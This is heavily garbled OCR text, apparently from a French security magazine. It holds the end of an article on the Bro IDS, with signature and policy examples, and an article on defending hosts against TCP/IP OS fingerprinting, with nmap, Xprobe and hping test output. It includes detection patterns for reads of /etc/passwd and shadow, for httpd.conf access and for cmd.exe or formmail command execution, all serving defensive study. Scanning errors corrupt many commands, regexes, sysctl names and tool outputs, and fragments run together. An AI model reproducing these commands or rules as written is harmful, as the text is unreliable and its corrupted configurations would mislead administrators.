1084366204.857521 TRWAddressScan 192.168.161.19% scanned & total of 4 hosts
1084493782, 750391 TRHAddressScan 192.168.192.16834 scanned a total of 4 hosts
184420619.628290 TRHAddressScan 192.168.135.81 scanned a total of 4 hosts

L'Analyseur de Syn-Flooding
Une des attagues de type DOS les plus communes est appelée Syn-
Flood. Elle consiste a envoyer un grand nombre de paquets SYN,
charge le récepteur de gérer ou pas cette avalanche de trafic. Nous
pourrions trouver la un défaut au mode de suivi des connexions
de Bro (surcharge de sa table de suivi des états de connexion), aussi
I'IDS procede de la fagon suivante :
= comptage du nombre de paquets SYN pour chacun des host;
si le nombre atteint une certaine limite, il continue a les compter
mais en les ignorant au niveau suivi des connexions ;
= des que le nombre de SYN est revenu a un niveau acceptable,
il se remet en mode de suivi “normal”.

Analyseur de signatures réseau

La plupart des NIDS tentent de trouver dans le flux réseau des
motifs qui correspondent a une attaque connue (signatures). Bro
ne fait pas exception 2 la régle et sait aussi utiliser ce genre de
fonctionnalite.

Cependant, outre son propre jeu de signatures, il posséde un
convertisseur (“snort2bro”) qui convertit celles de Snort (trés
completes).

wavons pas vu de SYN depuis l'origine de I'appel

‘par un FIN, nous navons jamais vu de SYN depuis le c3té appelant

} S0 i T
> 51 SYN handshake vu, (“established"
[ REJ Le SYN initial a causé un RST (reset) en réponse (‘rejected”
2 52 - bli e 5
13 s3 Connexion etablie, seul le FIN du cdté serveur est vu
> RSTR
b RSTOSO
<[ RSTRH
LR
<h SHR
151 OTH

® Exemple de signatures :

= Avec Snort

alert tcp any any -» [a.b.0.8/16,c.d.e.B/24] 88

(msg : & WEB-ATTACKS conf/httpd,conf attemot »;

nocase; sid:1373; flow:to server,established;

content: « canf/httpd.conf »; [...1)

- Avec Bro

signature sid-1373 {

ip-proto = tep

sre-ip 1= Tocal_nets

dst-ip = http_servers

dst-port == http_ports

pvent “WEB-ATTACKS conf/httpd,conf attempt”

tep-state established,originator

payload /,*{cC[o01NILFFIN/[hHITETICETICRPILADIN. LeCI 00T nNITTFY/

}
Afin de limiter les faux positifs, Bro s'appuie sur la notion d'analyse
contextuelle de signatures [5].Au lieu de rechercher des “chaines
d'octets types”, I'IDS utilise des expressions régulieres, telles
qu'illustrées par la signature pour CVE-1999_0172:
signature formail-cve-1999-8172 {

tp-proto = top

dst-ip == a.0.0.8/16

dst-port = B0

fittp /. *formmail *\?. 2recipient=["A1¥[; 1/

event “formmail shell command™;
}
L'analyse du protocole et |'utilisation de son langage de script
permettent & Bro de corréler cette information. Il suit la connexion
entre les deux parties, ce qui lui permet dans le cadre d'un serveur
Web de savoir qu'il s’agit d'un serveur Apache (lecture du header
HTTP au cours de la connexion), et si la requéte, coté client, cible
un exploit IIS, il ignore les signatures concernant ce type de logiciel.

Bro utilise aussi la notion de signatures de type “requétes/réponses’,
il remonte une alerte si une signature Sa est vue sur |a connexion
coté client et si une signature Sh correspond coté serveur. Ainsi,
lorsqu'un attaquant tente d’executer un cmd.exe sur un serveur
Web IIS, si I'attaque échoue, le serveur retourne une page d'erreur
“4xx”. Nous pouvons ajouter une seconde régle qui correspond a
une attaque réussie. Dans 'exemple suivant, une exécution réussie
d'un cmd. exe n'est annoncée que si une nous n'avons pas la signature
“http-error” (le “! http-error”) :

00z 3noeARN| - #1 2SI
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signature cmdexec-success {
ip-proto = tep

dst-port = B8

http /. *[cCI[mMI[dDIN. . [RET[XKI[eE]/
gvent “WEB-T1S cmd.exe success”
requires-signature-opposite ! Hitp-error
tcp-state estabiished

}

signature htip-error {

ip-prote = tcp

dst-port = 80

payload /. MTTPVIN. . *4[8-9](8-0)/

event “HTTP error reply”

tcp-state established

:.

Il existe de nombreux autres analyseurs pour des flux plus
particuliers, comme pour les vers type Blaster et autres (cf
documentation pour des exemples détailles).

Le Policy Layer

Il sert a définir la politique de sécurité, c’est-a-dire les handlers pour
les evénements remontés par le niveau inférieur (Event Engine).
Bro montre la un de ses points forts : la “customisation”.

En effet, son coté “tuning” est riche en fonctionnalités, il peut étre
customise pour tout un tas de modes de fonctionnement differents
suivant le choix de I'administrateur. On peut imaginer créer un
traitement (handler) pour un événement donné suivant que nous
sommes sur une DMZ publique ou sur une DMZ privée, et ce grice
au langage de programmation [4] fournit avec Bro. L'exemple suivant
montre un exemple de “http-request.bro™

# §1d: http-request.bro,v 1.16 2004/01/16 88:31:38 vern Exp §
# Analysis of HTTP reguests,

@load hitp

module HITP;

expart {

const sensitive URIs =

fete.*\/ *(passwdishadow]netconfigl/

| FEESL \tI*=f

| fnph-test-cgi\?/

| A%BaIN NN Chinleto usritmp)/

| AOAEIUATDTsS][aAY D] [mM] [oP] (wH1TdDO]/

La sortie vue dans les logs qui correspond a une alerte de ce

type est :
1084448177 HTTP SensitiveURT 192.168.6.17/1673 -> 192.168.1.44/http %1 GET
fetc/passwd

Ce langage est fortement typé (gestion des erreurs au moment de
la compilation) et offre beaucoup de fonctionnalités que nous
retrouvons dans d'autres langages {tables de hash, gestion dynamique
de la mémoire, fort prototypage et expressions réguliéres, etc. ),
mais a eté écrit avec la détection d'intrusions dans I'esprit. Certains
types de données par exemple représentent des adresses IP, des
numeros de port réseau ou la notion d'intervalle de temps (voir le
manuel disponible dans la distribution pour une description tres
compléte).

Un ou plusieurs handlers peuvent étre associés a un événement et
seront appelés les uns a la suite des autres lors de la gestion de cet
événement. Ce mode de fonctionnement participe 4 la robustesse
de I'IDS ; en effet méme si le code source de Bro est public et sa
facon de travailler connue, son parameétrage est secret (puisque
défini au cas par cas par |'utilisateur). C'est ainsi qu'un attaquant
peut savoir qu'il y a un IDS de type Bro (et encore...) mais il ne
pourra pas savoir comment il réagira a tel ou tel stimuli.

Conclusion

Si Bro n'est pas aussi connu que Snort, il montre une
approche différente pour la détection des attaques/intrusions.
De Bro, on peut retenir efficacité, performances et une
séparation tres nette entre la politique de sécurité définie
par I'administrateur et les moyens de la mettre en ceuvre.
Du mode de fonctionnement en trois niveaux (Packet
Capture -> Event Layer -> Policy Layer), on retient une
capture trés efficace des flux réseau qui remontent vers une
grande variété d'analyseurs protocolaires qui eux-mémes
géneérent des “events" passés aux “handlers” crées par
I'administrateur. Cette possibilité de configurer Bro “a sa
sauce” en fait sa force car un intrus ne saura a priori pas ce
qui se passera en cas de détection.

Toutefois, il ne faut pas oublier que Bro, pour étre utilisé au
mieux de ses possibilités, devra passer (comme beaucoup
d'IDS) par une phase de configuration non négligeable de
la part de I'administrateur.

Merci aVern Paxon et Robin Sommer pour l'aide qu'ils m'ont
apportee.
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Se protéger contre l'identification
par prise d’empreinte TCP/IP

Patrice Auffret

patrice.auffret@intranode.com

Nous étudions dans cet article deux types de
mécanismes ayant pour but de compliquer la détection
du systéme d’exploitation par analyse de la pile TCP/IP
[1]. Nous ne discutons que des méthodes de protection
au niveau des couches 3 et 4, il n'adresse aucun des
problémes de détection par analyse des banniéres, ou
analyse de protocoles applicatifs.

1. Lutilité de se protéger

Le but de cette protection est d’'empécher la détection de I'OS par
I'analyse de la pile TCP/IP. Pourquoi faire cela ? Tout simplement
parce dans le cadre d'intrusion réseau, c'est une étape primordiale
qui servira lors du lancement d'exploits (entre autres lors du choix
du shellcode a utiliser).

On peut penser que cela ressemble fortement a de la securite par
I'obscurité, mais en fait il n'en est rien ; c’est une couche
supplémentaire de protection, puisque limiter la fuite d'information
est un principe de securite.

2. Le principe de cette protection

Le principe est de réduire le nombre possible de réponses a des
probes (donc de limiter au maximum la fuite d'information), afin de
diminuer le nombre de signatures différentes possibles, rendant
ainsi difficile I'identification stre. Il est également utile de modifier
des valeurs bien connues pour étre déterminantes pour tel ou tel
OS (exemple : taille de la fenétre TCP initiale).

3. Deux grandes méthodes
de protection efficaces

Nous abordons dans cet article deux grandes méthodes de
protection. Une autre (trés populaire si I'on en juge par le nombre
d'outils disponibles) qui n'est pas abordee ici consiste a simplement
leurrer nmap [5][6][7], ou spécifiquement d'autres outils d'OS
fingerprinting. Puisqu'elle n'est pas générique, c'est-a-dire qu'elle ne
traite pas le probléme dans son ensemble, indépendamment d'une
implémentation de détection distante d'OS, elle est facilement
contournable, et ne présente donc pas d'intérét (c'est dans ce cas
de la sécurité par 'obscurite).

3.1. Approche de personnalisation
de la pile IP

Cette méthode a pour but de modifier le comportement de la pile
IP de maniére a ce que la signature de I'OS ne corresponde plus a
celle bien connue. On peut aussi coupler cela avec un dispositif de
filtrage en coupure, et un dispositif de normalisation de paquet pour
réduire encore la fuite d'information.

Eﬁncéﬂure de test utilisée au cours de cet article

Pour chaque test, nmap [2] et Xprobe [3] sont utilisés pour
valider la qualité de chaque mécanisme de protection. ring [4]
pourrait étre utilisé, mais ses resultats ne seront pas impactes,
étant donné qu'il s'appuie upiquement sur 'algorithme de
retransmission des segments TCP lors d'une tentative de
connexion, et que ce parametre n'est pas modifie dans nos
demonstrations.

Notons que méme si nmap est utilisé dans une écrasante
majorité des tentatives d'OS fingerprinting, il existe certainement
des outils non publics, donc construits sur des tests non
connus, et que |'on ne peut alors pas contrer en utilisant des
méthodes spécifiques écrites contre un outil en particulier.
C'est pour cela que nous nous focalisons ici sur les methodes
generiques de protection uniguement.

On I'applique localement a chaque machine a proteger (sauf dans
le cas de I'sjout d'un dispositif de filtrage en coupure, nous y
reviendrons). Aucune modification n'est faite au noyau de I'OS,
seuls les paramétres configurables par le systeme lui-méme sont
ajustés. Elle n'est pas intrusive, et est donc plus sire quant a la
stabilité du systéme.

3.2. Approche de transformation de la pile IP

Cette deuxieme approche consiste en |'application de patches dans
le noyau permettant de modifier completement le comportement
de la pile. Cette méthode donne une plus grande latitude dans le
changement de son comportement, et nous comparens dans cet
article I'efficacite des deux méthodes. En revanche, étant plus
intrusive, il peut y avoir des impacts importants quant aux
performances réseau et au comportement RFC de la pile (cet article
n'aborde pas ces problémes).

Elle fonctionne également localement a la machine, mais est surtout
aussi applicable a I'entrée d'un réseau, et protege donc toutes les
machines internes a celui-ci. C'est une approche beaucoup plus
globale contre la détection de I'OS sur un réseau a proteger, donc
dans son principe bien plus proche d'une bonne politique de securité.

4. Personnalisation de la pile IP
et filtrage

4.1. FreeBSD hlackhole(4) [8] syscil

La fonctionnalité blackhole(4) change le comportement de la pile
lors de I'émission de paquets en réponse aux scans de ports TCP
et UDP Cela fonctionne comme un dispositif de filtrage, mais est
utilisable directement par un appel a sysct1(8) :

)
e
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o
@

fhsdade sys
net.inet.te
net.ine

- | grep blackhote
blackhole: @
tkhole; @

L'utilisation de cette fonctionnalité permet 4 une machine n'ayant
aucun port ouvert d'étre invisible si seulement un scan de port TCP
ou UDP est utilisé pour la trouver.

Le but premier de blzckhole(4) n'est pas de masquer I'empreinte
de sa pile IP, mais puisqu'il permet de ne pas répondre a certains
probes, il limite |a fuite d'information {nécessaire a une bonne
identification d'0OS).

En effet, lors d'un scan TCP, un port fermé émettra un RST+ACK par
défaut, mais si le sysct] est placé a |, il n'est pas émis. Si 'option
est placée a 2, aucun paquet TCP expeédié a ce port ne recoit de
réponse. La différence entre | et 2 en TCP est qu'a |, si le paquet
TCP a un flag 5'1,il n'y a pas de réponse, mais s'il n'y a pas de 5,
mais un FIN (par exemple),il y en a une. A 2, méme le FIli n'obtient
pas de réponse (pour une description des différents types de scan
de port, voir [7]).

Les trois tests sur un FreeBSD 4.9, sans utilisation de blackhole(d):

I.UnTCP SYN sur un port fermé :
obsd3ze hping -5 -p 23 -¢ | fhsidg
HPING fhsdd9 (ne3 192,168.0.52): § set
len=46 1p=192.168,8,52 Lt1=64 1d=549 spo

¥ E data hytes
A seq=@ win=f rti=1.8 ns

2, UnTCP FIl sur un port fermé :

0 hping -F -p 23 -¢ 1 fhad4s
HPING fhsddd (ned 192.168.0.52): F set, 48 headers + @ data bytes
ler=46 p=192.168.2.52 t11=64 1d=702 sport=23 flags=RA seq=0 win=0 rit=6.7 ms

1 fhsd4d
dp mode set, 28 headers + @ data bytes
2,168 8,52 name=fhsddd. enslaved. lan

Pas de réponse
Pas de réponse
3:UDP | ICMP Port Unreachable | Pas de réponse | N.A.

Pas de répons
RST+ACK

| :TCP | RST+ACK
2 :TCP | RST+ACK

Une deétection d'OS avec nmap, et les sysctls par défaut (0) (pour
une description plus complete de l'interprétation des résultats de
nmap, se reporter a [lO]) :

4 5
283 -

STATE SERVICE
22/tep open  ssh
3/tep closed teinet
levice type: gemeral furpose
Running: FreeBSD 4.
05 details: FreeBSD 4.6.2-RELEASE - 4, §-RELEASE
05 Fingerprint:
TSeq((1ass=TREIPID=1%TS=1680HZ)
11|Resa=?iﬂr=“xh EROORALK=5++5F1ags=ASh0ps=MANKNT

NEN=BRACK=0RF 1ans=RElps=)
=HEN=BEACK=SHEF | ags=ARE0ps=)

p K=0%F | ags=Rilps=)

T7{Rasp=Y40F=H lags=AR%dps=)

Pil{ Resp=YA0F=RETOS=0RIPLEN= TL=14B%R 1 D=EURTPCK=EXUCK=0RULEN=134XDAT=E )
(]

Puis un test avec Xprobe (pour une description des tests de Xprobe,
voir [11]):

obsd32e xprobe? -p tep:22:0pen -p topi2dic
fhsd4d

losed -p udp

fid

[+] Primary

[+] Host 1 2 Runming 05: “FreeBSD 4.8" (Guess probability: 108%)
[+] JJ‘°’

[+] Hast b ﬂ 52 Running “FresBsh 4.7

[+] '1 st 9.{.1&'5 .52 Running 05: “FreeBSD

[+] Host 192.168.8.52

192.168.0.52 Running 0S¢ *Freeds

7.168.0.52 Running 0S¢ “FresBSD

4
funning 05: “FresBSD 4.6
1
[+] }'GST §
g

probability: M%)

19 /
[+‘ Host 197,168.8.52 Running 05: “FreeBSD 5.0 profability: 4%
[+] Host 192.168.8.52 Running B5; “FreefSD 4 s probability: 91%)
[+] Host 192.168.8.52 Running 08; *NetBSD 1.4, \‘ lGu#s' probability: 798)
[+] Host 192.168.8.52 Running 0S: "NetBSD 1,57 {Guess probability: 74%
{5l

Maintenant, en plagant les sysctls comme ceci :
fosdd%% sysctl - net.inet, top.blackhole=2
Thsddd sysctl -w net.inet.udp blach

nbsm: fimap -p 2,23 -0 -wv -oescan_guess fheddd

SERVICE
e/t ssh

a3 ,kp filtered teinet
Ecme type; general purpose

pd, Freaflil

§.0-RELEASE - 485

4 ags=.ﬂ.5%-ﬂps:r&rlkrinﬂ

=YSN=EO0BEACK=S+44F ] ags=ASL0ps=HNHRNT |
T4(Resp=YEDF=NEN=BRACK=0%F 1 a05=RE00s=)
Th(Resp=N}

# xprobed -p tep:22:open -p top:23:closed -p udp:5@:closed -p udp:5ld:open

Host 197
Host 182

§ probability:
" (Guess probability: 67%)
[”'It't'i'ﬂ'v.‘ b

bsdIln

fbsd4d

Fod

[+] Primary guess:

[+] Host 1 .52 Running 0S: *FreeRSO 4,77 (Guess probability: 70%)
+] Other

I

+

A2 fun r||'|a 0S:
Running 0S:
(52 Running 08:
52 Running 0S:

" (huess p"ﬁhut‘

) |GurEE profabil

ity bdd

Running ﬁ‘

On distingue clairement que nmap obtient trés peu de réponses a
ses probes, mais que cela ne 'empéche pas de trouver que la machine
tourne sous FreeBSD 4.x. Ceci dit, il est trivial d'ajouter la signature
dans le fichier de signatures, avec comme nom “'FreeBSD 4.x with
blackhole”. Xprobe, quant a lui, parvient aussi toujours 2 trouver 'OS,
mais il est moins sdr de ses résultats, C'est normal, étant donné
que lui aussi a moins de réponses 4 ses tests.

En résumé, cela n'est pas suffisant pour se protéger. La raison en
est qu'un port TCP ouvert fournit suffisamment d'information pour




identifier un systéme. Donc, dans le paragraphe suivant, nous allons
étudier la personnalisation de cette pile TCP.

4.2, FreeBSD net.inet sysciis

Il y a quatre branches de la MIB (Management Information Base) sur
lesquelles nous pouvons jouer sous FreeBSD pour modifier
significativement le comportement de la pile IP. Les voici :

W net.inet.ip

H net.inet.tcp

B net.inet.udp

B petineticmp

Nous ne rentrons pas dans le detail de chaque variable (88 au total
sous FreeBSD 5.2.1). En revanche, déroulons un exemple d'utilisation,
en modifiant la taille de la fenétre TCP, ainsi que le comportement
TCP au regard de la RFC1323 (qui discute de 'impléementation des
options TCP Timestamp et Window scale a des fins d'amelioration
des performances).

oo kjouer TOS fugerpringig

net.inet.tcp.blackhole=0 net.inet.tcp.blackhole=2

net.inet.udp.blackhole=0 net.inet.udp.blackhole=|

net.inet.tcp.sendspace=32768 | netinet.tcp.sendspace=16384

net.inet.tep.recvspace=57344 | netinettcp.recvspace=| 6384
netinet.tep.ric| 323=0

netinet.tep.ricl 323=|

/21T ne=4BADESBEY

VN ADBRACK =S #+5F 1 20

Yoila, on distingue maintenant que nmap n'a plus suffisamment de
réponses déterminantes pour identifier I'OS de maniére sire. Mais
ce n'est pas encore parfait, FreeBSD 4.x est en deuxieme choix
probable, et on peut toujours rajouter une signature nmap (méme
si avec si peu de réponses, c’est un peu risqué). De méme, Xprobe
heésite entre un Linux 2.0.x et quelques versions de FreeBSD. On
peut bien sir parfaire ce masquage en jouant sur d'autres élements
de la MIB.

4.3. Linux 2.4 pet.ipvé sysctis

Le document [|2] décrit une partie des éléments de la MIB
concernant netipv4. |l y a 160 parametres sur lesquels jouer, dont
29 uniquement pour TCP, mais malheureusement, peu d'entre eux
modifient effectivement le format des paquets. Nous allons donner
un exemple de déjouement d'OS fingerprinting en manipulant les
paramétres TCP concernant la RFC 1323 (donc les mémes que pour
FreeBSD testés préecédemment).

Tableau 3

netipvd.tcp_window_scaling=| | net.ipv4.tcp_window_scaling=0

net.ipv4.tcp_timestamps=|

net.ipv4.tcp timestamps=0

\=1hADRACT=

+007 MoeAsIN! - | IS
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“Tinux kern

b “Lindx Kernel 2.4.1
Running 05: “Linux Kernel 2.4.1
Running 05+ “Linux Kernel 2.4

Maintenant, appliquons les modifications décrites dans le tableau
précédent :

n_quess rhie

K=ERULEN=1343DAT

ictosed -p udp:5@:closed -p udp:1l1:0pen

[+] Host 19
Other que
] Hast 07,1 Running
Running

Running

Running 05: *Linux Kernel 2.4,5" (Guess probability: 85%)

¢ FLinux Kernel

“Linux

fernel 2.4

} Rinning
Running
b Running
Runming 08:
Running 0%

Linug &
W

Linux Kerne

F T U N S

Cela n'impacte pas la détection d'OS. La raison en est que la taille
de la fenétre TCP initiale ne varie pas, et que c'est vraiment un
parameétre trés significatif pour I'identification. Chaque systeme, ou
presque, utilise une valeur différente, et se baser uniquement sur
celle-ci s'avere tres efficace (nous ferons un exemple un peu plus
loin). Malheureusement, sous Linux 2.4, il n'existe pas de moyen
pour la manipuler sans modifier le noyau. En effet, Linux utilise un
algorithme d’autotuning pour écrire certains champs des paquets.

Nous allons tricher un peu juste pour vérifier cela. Nous modifions
la taille de la fenétre par la méthode décrite dans la section 5.2. et
relancer nos tests :

132 nmap -p 22,23 -0

B Lype: era
Running (JUST GUESSING} y
(34%], Novell Netware 6.014.% (4

b=k

GARY | Eain
4%, Linux

(4%

1%, Tini0s 058Ac4da

B8R, Linux 2.4.22 (XB6) wiarsecurity satch and with timestamps disabied (B8S
Linux £.3.:49 x86
No exact 05 mate
[- 1
pieg:open cp closed -p udp:lil:open

Running 0S: "FreedSD 3.5.1°

60 Running G
Running [
Running
Running
0 El“lrli
¢ Running f
Runni
Runni

3.2" {Guess probabili
: “FresBSD 3.1" (Buess probabilit

“Linux Kernel 2.4.5" {Gugss pro

Nous voyons bien que I'impact sur la detection d'OS est grand,
mais Linux 2.4 apparait toujours dans les possibilites d'OS identifie.

4.4. Inspection de U'état (stateful inspection)

Lors de dialogues IP, certains paquets servent a établir une connexion
(TCP). ou pseudo-connexion (IiF, [LHP). Linspection de I'état est
alors utilisée pour créer un contexte sur ¢es connexions, servant
ainsi a eliminer les paquets qui sont hors de celles-ci. Par exemple,
si aucune connexion TCP n'a été établie, il est inutile de traiter un
segment TCP ayant un flag ACK.

Linspection de I'etat prend alors son sens contre I'OS fingerprinting
lorsque certains probes se basent sur des paquets hors connexion.
En général, elle est associée a une politique de filtrage telle que :
tout ce qui n'est pas permis explicitement est detruit. Exemple, une
machine fournit un service SMTR il est alors inutile d'accepter des
connexions sur un autre port que le 25. Donc, seuls les segments
TCP ayant un flag SV permettant de créer un contexte de
connexion seront acceptes, et ensuite seuls les segments TCP en
rapport avec cette connexion seront acceptés.

Une autre fonctionnalite apportée grace a 'inspection de I'état est
celle de reecriture de I'ISN (Initial Sequence Number) utilise lors de
I'etablissement d'une connexion TCP. Certains probes d'OS
fingerprinting se basent sur I'algorithme de génération de I'ISN pour
acquérir un peu plus d'information. Dans Packet Filter sous OpenBSD,
c'est la directive modulate state qui joue sur ce parametre.

Dans les tests suivants portant sur la normalisation de paguets,
nous utilisons un filtrage complet (seul un port TCP accessible),
couplé a du stateful inspection et de la réécriture d'ISN.




4.5. Filtrage et normalisation de pagquets
via Packet Filter

Le but initial de la normalisation n'est pas de contrer les détections
d'OS [13], mais cela peut servir  bloquer des scans non standard,
donc limiter cette vilaine fuite d'information necessaire  une bonne
detection.

Au contraire de fingerprint scrubber (nous y viendrons), la directive
scrub de Packet Filter n'uniformise pas les paquets pour tous les
reseaux protéges, elle se contente de verifier la validité de ceux-ci
par rapport i certains tests de normalisation, en détruisant (c'est
a dire que le datagramme IP est simplement détruit, et qu'aucune
réponse n'est expédiée a la source emettrice de celui-ci) ou en
modifiant les datagrammes si non conformes.

Examinons les principales fonctionnalites de normalisation de paquets
implémentées dans Packet Filter de OpenBSD 3.5.

Dans /usr/src/sys/net/pf_norm.c,les fonctions pf_normalize_ip(),
pf normalize_tepl), et pf normalize tcpopt( ) (nous nous intéressons
dans cet article a IPv4, mais Packet Fifter implémente aussi la
normalisation pour IPvé).
B pf normalize ip()
I. Si la taille de I'en-téte IP est invalide, le datagramme est
detruit ;
2. Les datagrammes IP fragmentés sont reconstruits
directement par le firewall : de cette maniére les machines
protégées ne regoivent que des datagrammes complets, et
un outil basé par exemple sur I'identification de I'algorithme
de réassemblage IP ne fonctionnera pas (NDLA : je n'ai pas
connaissance d'un outil tel que celui-ci, mais cela est possible,
au minimum pour identifier la famille du systeme d'exploitation
[14]). Ce mécanisme est un bon mécanisme d'uniformisation
de paquets. Voir I'article de Mr Hartmeier concernant le
reassemblage IP [15].

B pf _normalize_tcpl)
I. Si la taille de I'en-téte TCP est invalide, le segment TCP
sera détruit ;

2. Certaines combinaisons de flags TCP sont invalides. Ces
segments TCP seront détruits. Un exemple intéressant : s'il
n'y a pas de flag ACK, mais qu'il y 2 un flag FIN, URG ou PSH, le
segment TCP est détruit. Ainsi, certains probes de nmap sont
bloqués (ils n'obtiennent pas de réponse) ;

3. D'autres combinaisons de flags TCP sont aussi invalides,
ils sont ajustés plutdt que détruits. Exemple : SYH+FIN, le FIN
est enleve ;

4. Le flag URG est traité d’'une certaine maniére :s'il y a un
urgent pointer dans le segment TCP, mais pas de flag URG, le
segment est réécrit en enlevant le urgent pointer (le champ
est mis a 0 dans |'en-téte TCP).

W pf normalize_tcpopt()
1. Seule I'option TCP 155 (Maximum Segment Size) est gerée.
Si la directive max-mss est utilisée aux cotes de scrub dans le
fichier de régles Packet Filter, |la valeur de cette option est
ajustée a la valeur configurée.

Bien siir; lors de la réécriture des paquets, le checksum est recalcule,
et il y a donc un impact en termes de performance, méme si assez
faible.

Il manque de nombreuses fonctionnalités de normalisation, mais
cela réduit quand méme le nombre possible de probes servant a
obtenir la fuite d'information nécessaire aux outils de fingerprinting.
Pour connaitre d’autres normalisations a appliquer; se réferer a [13].
Probablement que celles-ci seront implementées prochainement
dans Packet Fifter.

On peut également noter que nmap détecte l'utilisation de la
directive scrub dans OpenBSD Packet Filter. Signalons que le code
de pf_norm.c a évolué au cours des versions de Packet Filter, induisant
trés probablement des différences détectables pour une identification
plus précise (NDLA : si un lecteur un tant soit peu motive se
penchait |a-dessus, merci de me tenir informe ;-) ).

Les tests contre FreeBSD

Reprenons notre FreeBSD personnalisé via les sysctls decrits
précédemment (en remettant a | la variable définissant le
comportement RFC|323), et faisons passer le scan nmap par une
machine sous OpenBSD 3.5 avec Packet Fifter.

Le dispositif de filtrage ne laisse passer que les connexions vers le
P g P

port 22, en faisant du stateful inspection, de la normalisation de

paquets, ainsi que de la réécriture d'ISN, et tout le reste est détruit.
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Maintenant, en désactivant la normalisation de paquets :

AgathonZs nmap -p 22,23 -0 -vv -gsscan_guess P fhyddd
(il
PORT  STATE  SERVICE

tep apen 550
p filtered telnet

Device type: generd] purpose
Running: FreeBSD 4.4/5.4

T1(Resp=YEDF=YRH=40B0ALK=5++EF agu=AStlps=MNWANT |
T2{Resp=H)
T3 Resp=YRDF=YRH=400DALK=5++2F1a0s=A530ps=MNWANT |
Td{Resp=H)

TT{Resp=N]
PU(RRSp=K)

agathond# xprobe? -p topildopen -p tep:23:closed -p udp:hdiclosed -p

udp:514;open fhsddd

£

[+] Primary guess:

[+] Host 192.168.8.52 Running 0S; “NetBSD 1.5,3" (Guess probability: 56%)

[+] Other guesses;

[+] Host 192.188.8.52 Running O5: “NetBSD 1.5.2" (Guess probability: 50%)

[+] Host 192.168.8.52 Running 05: “NetBSD 1.5.1" (Guess probability: 56%)

192.168.8.52 Running 0S: “NetBSD 1.5° (Guess probability: 58%)

168,8.52 Running 0% "NetBSD 1.4.3" (Guess probability: S8%)

[+] Hast 192,168.8.52 Running 03: “NetBSD 1.4.2™ (Guess probability: 58%)

[+] Host 192.168.8.52 Running 05; "NetBSH 1:4.1" (Guess probability: 58%)
192,168.8.52 Running 05: "NetBSD 1.4" [Guess probability: Gk}

168.8.52 Running 0S: “NetBSD 1.3.3" (Guess probability: 58%)

Host 192.168.0.52 Running 0S5; “FreeBSD4.4" (Guess probability: 58%)

4

A

AT
3

On voit bien ici que la normalisation de paquets est utile : nmap
obtient une réponse a un test de plus sans celle-ci (donc 2 tests
reussis au lieu d'un), et cela est suffisant pour avoir FreeBSD dans
la liste des OS possibles.

Un autre test en mettant net.inet. tcp.rfcid2i a 0, et normalisation
de paquets activée nous donne :
daathonZ# nmap -p 22,23 -0 -vv —osscan_guess -P@ Fhsddd

(]
PERT  STATE  SERVICE
22/tep open ssh

23/tep filtered telnet

Device type: general purpose

Running (JUST GUESSINGD ; IBM AIX 4.X (98%), Amiga AmigalS (874

fagressive 05 guesses: IBM ALK 4.2.%-4,3.3.0 (90%), IB% AIN 4.3.2.8-4.3.3.0 on an
IBM &S/* (8831, 1BN AIX 4.3 (B8%), Anmfgal§ Miami 3.0 (87%), Amigals Miami 3.1-3.2
(B7%)

Mo exact 05 maiches for host (test conditfons nom-ideal).

TCP/1B fingerprint:
SInfofV=3.5840=138G-unknown-1 reehsdd, 330=4/ 203 Tine=3EAZT90AR0=22%0=-1)
T5eq(C1ass=TREIPID=IRTS=U)

T1{Resp=Y40F=Yu=4RaRACK=S++3F Tags=Sans=H)

T2{Resp=N)

T3 Resp=t)

Th{Resp=H)

Th(Resp=N)

ThiResp=h)

TT{Resp=N)

PU(Resp=N)

Ed]

gathon2s xprobel -p fepi2iopen -p fops23:closed -p udp:5B:ciosed -p
udp:5i4:open fhscdy

r..]
[+] Primary quass:

[+] Host 192, 168.8.52 Running 05; “FreeBSC-4.3" (Guess probability: 50%)
[+] Other gquesses:

[+] Host 192.168.8.52 Rinning 05 “FreeBSD 4,2" (Guess probadility: 5
[+] Host 192.168.8.52 Running 05: “FreeBSD 4.1,1" (Quess probability: 5%
[+] Host 192.168.0.52 Running 05; “FreeBSD 4.8" (Guess probability: 58%)

[+] Host 192,168.8.52 Ruining 0S: “Microsoft Windows NT & Workstation Seryice

Pack 6a" (Guess probabiTity: GR%)

[+] Host 192.168.8,52 Runhing 05: *Microsoft Windows NT 4 Norkstation Service

Pack 5" (Guess probability: 58%)

[+] Host 192.168.8.52 Running-05: *Microsoft Windows NT & Workstztion Service

Pack 4" (Guess probabifity: 5@%)

[+] Host 107.168.8.52 Running 05: “FreeBSD 3.5.1" (Guess probability: G0%

[+] Host 192,168.8.52 Running 05: *Foundry Networks Device (Big/Net/Fast Iron

Software Version 87.6.81BT51" (Guess probability: 58%

[+] Host 192.168.0.52 Running 0S: *Foundry Networks Device: (Big/Met/Fast Iron

Software Version 87.5,B5KT53" (Guess probsbility: SE%)

fad

Puis sans normalisation :

a0athonZit nmap -p 22,23 -0 -vv ~0sscan_quess PR fhsddd
[..1
PORT  STATE  SERVICE

22/tep open ssh

23ficp filtered telnet

Device type: general purpose

Running: Amiga Amigals

05 'detaiis: Anigads Miami 3.8, AmigaQS Miami 3.1-3.2
0% Fingerprint:

TSeqfC1ass=TREIPID=1%TS=U]

T Resp=YROF=YEN=4 DRARACK=S++EF Tags=ASE0ps=l)
T2iResp=N}

T3( Resp=Y20F=YEN=4BORRACK=S+EF 1ags=ASE0ps=)
T4(Resp=h}

TatResp=N}

Th{Resp=N}

TT{Resp=N}

AU Resp=h)

[:.]

agathonf# wprobe? -p top:22:open -p topiZdiciosed -p udp:Sf:ctosed -p
udp:514:apen fosadd

[..]

[+] Primary guess:

[+] Host 192.168.0.52 Runnipg 0%: “FresBSO 4.37 (Guess probability: 58%)

[+] Othér guesses:

[+] Host 192.168.8.52 Running D5: YFreeBSD 4.2 (Guess probability: 5080

[+] Host 192.168.0.52 Running 08: “FreeBSD 4,1.1" (Guess probabflity: 50%)
[+] Kast 197.168.8.52 Running 0S: “FreeBS0 4.8" (Guess probability: 50%)

[+] Host 192.168.8.52 Running 05: *Microsoft Nindows NT 4 Werkstation Service
Pack 6a" (Guess probanitity: 58%)

[#] Host 192.168.8.52 Running 0S: “Microsaft Windows KT 4 Workstation Service
Pack 5™ (Buess probadllity: 58%)

[+1 flost 192.168.8.52 Running 05: “Microsaft Windows KT 4 Workstation Service
Pack 4" (Guess probability: 58%)

[+] Host 192,168.8.52 Runnfng 05: “FreeBSD 3.5.1" (Buess probability; 58%)
[+] Host 192.166.8.52 Running 05; “Foundry Networks Device (Big/Net/Fast lron)
